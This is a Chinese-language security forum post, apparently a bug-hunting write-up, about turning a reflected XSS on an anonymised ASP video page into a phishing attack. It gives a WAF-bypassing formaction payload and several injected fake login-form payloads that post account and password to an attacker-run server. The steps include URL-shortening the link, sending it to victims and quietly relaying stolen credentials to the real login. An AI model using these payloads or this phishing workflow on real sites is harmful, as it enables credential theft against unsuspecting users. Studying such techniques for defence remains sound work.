发现xss漏洞

http://xxxxx.com/xxx.asp?videoid=1&nm=2010%C3%C0%B9%FA%D0%C4%B7%CE%B8%B4%CB%D5%D0%C2%B9%E6%B6%A8%BD%CC%D1%A7%C6%AC

尝试注入,不出意外有WAF

fuzz尝试绕过

看到如下截图中绕过绕过WAF的payload的,让我联想到了之前在Tomcat Examples页面挖到过的点击劫持漏洞
Tomcat Examples页面的点击劫持漏洞建议参考下方链接的这篇文章,这个钓鱼页面的制作的思路我是由这个点击劫持漏洞想到的

挖洞经验 | 通过Tomcat Servlet示例页面发现的Cookie信息泄露漏洞
https://www.freebuf.com/articles/web/247253.html

fuzz出的payload
"><form><button formaction=//evil>XSS</button><textarea name=x>

本地测试

通过上面fuzz得到的payload,自己搭建服务器进行实验
python2使用如下命令快速启动简易的http服务

python -m SimpleHTTPServer 8000

不加端口也没事,直接使用python -m SimpleHTTPServer则默认端口是8000

若报错:No module named SimpleHTTPServer,是因为python3已经改成了http.server

python3使用如下命令快速启动简易的http服务

python -m http.server 8000

本地测试时使用的payload

"><form><button formaction=http://127.0.0.1:8000/>clickMme</button><textarea name=x>

把payloa拼接上去然后在用流量器打开

http://xxxxxxx.com/xxx.asp?videoid=%22%3E%3Cform%3E%3Cbutton%20formaction=http://127.0.0.1:8000/%3EclickMme%3C/button%3E%3Ctextarea%20name=x%3E

点击clickMe之后就跳转到了我们搭建的服务器上

外网测试

大家应该有注意到了跳转成功时后面会带有一串参数,关于这个参数我们先看一下关于<textarea> 标签的定义:

<textarea> 标签定义一个多行的文本输入控件。
文本区域中可容纳无限数量的文本,其中的文本的默认字体是等宽字体(通常是 Courier)。
可以通过 cols 和 rows 属性来规定 textarea 的尺寸大小,不过更好的办法是使用 CSS 的 height 和 width 属性

看到这里大家应该知道了,其实利用fuzz出的payload进行实验时后面的那个参数x就是<textarea name=x>,我们在payload中利用不闭合的<textarea>吸收掉后面多余的代码,而x的参数值就是后面没用的冗余代码,我们最终的钓鱼页面也是需要参数来传递账号密码的值的,所以这里就直接用<textarea name=x>结合后面冗余的代码做实验

先找一个互联网web服务页面测试,这个页面必须要是url后面接着不存在的参数时仍然能正常显示的页面像下方页面这样

比如喜马拉雅首页网址后带有不存在的参数时仍然能访问成功

payload
"><form><button formaction=https://www.ximalaya.com>clickMme</button><textarea name=x>

可惜在点击clickMe跳转后出现了500错误,这个例子失败了

为什么会失败呢,我们点击clickMe后抓包看看,如下截图所示是应为喜马拉雅网站有进行referer验证

喜马拉雅的例子失败了,那我们换个成功的例子看看

payload
"><form><button formaction=https://www.runoob.com>clickMme</button><textarea name=x>

如上方菜鸟驿站的例子所示我们实验成功了,那怎么才能吧这个漏洞点利用起来呢,接着看

制作钓鱼页面

payload:
"><form action="http://127.0.0.1:8000">
account: <input type="text" name="account"><br>
password: <input type="text" name="pwd" ><br>
<input type="submit" value="submit">
</form>

登入框是出来了,但是videoid参数的位置不止一处,所以出现了两个登入框,且还有很多冗余的代码,

继续改进payload,利用不闭合的<textarea>吸收掉登入框后多余的代码

payload:
"><form action="http://127.0.0.1:8000">
account: <input type="text" name="account"><br>
password: <input type="text" name="pwd" ><br>
<input type="submit" value="submit">
</form>
<textarea>

<textarea>吸收掉登入框后多余的代码但是像上方截图还是不够让人相信,那在改进一下

payload:
"><form action="http://127.0.0.1:8000">
account: <input type="text" name="account"><br>
password: <input type="text" name="pwd" ><br>
<input type="submit" value="Login">
</form>
<textarea rows="1" cols="30">
please enter your account and password to login.

这个钓鱼页面我做的还不够好,若是真的上战场用于钓鱼时,可以多花些时间做的更逼真

将钓鱼页面用于实践

本地实践:

http://xxxxx.com/xxxx.asp?videoid="><form action="http://127.0.0.1:8000">account: <input type="text" name="account"><br>
password: <input type="text" name="pwd" ><br><input type="submit" value="Login"></form><textarea rows="1" cols="30">
please enter your account and password to login.

在公网上公网实践

http://xxxxx.com/xxxx.asp?videoid="><form action="https://www.runoob.com/">account: <input type="text" name="account"><br>password: <input type="text" name="pwd" ><br><input type="submit" value="Login"></form><textarea rows="1" cols="30">
please enter your account and password to login.

在钓鱼时链接太长了容易被人怀疑,我们使用小码短链接这个网页生成一个短链接,工具地址:https://xiaomark.com/

生成短链接之后发送给受害者

钓鱼页面的危害

综上所述,思路是我们制作的这个钓鱼页面,可以诱导用户输入网站的账号密码,被我们自己搭建在公网上的服务器获取,跳转到我们自己搭建的服务器时,我们可以在自己的服务器上写一段代码传送获取到的账号密码跳转到的这个钓鱼页面网站的真实登入页面进行登入,神不知鬼不觉,在受害者看起来,就像是一次正常操作。

利用一处xss漏洞制作钓鱼页面.pdf (3.293 MB) 下载附件
点击收藏 | 4 关注 | 3
登录 后跟帖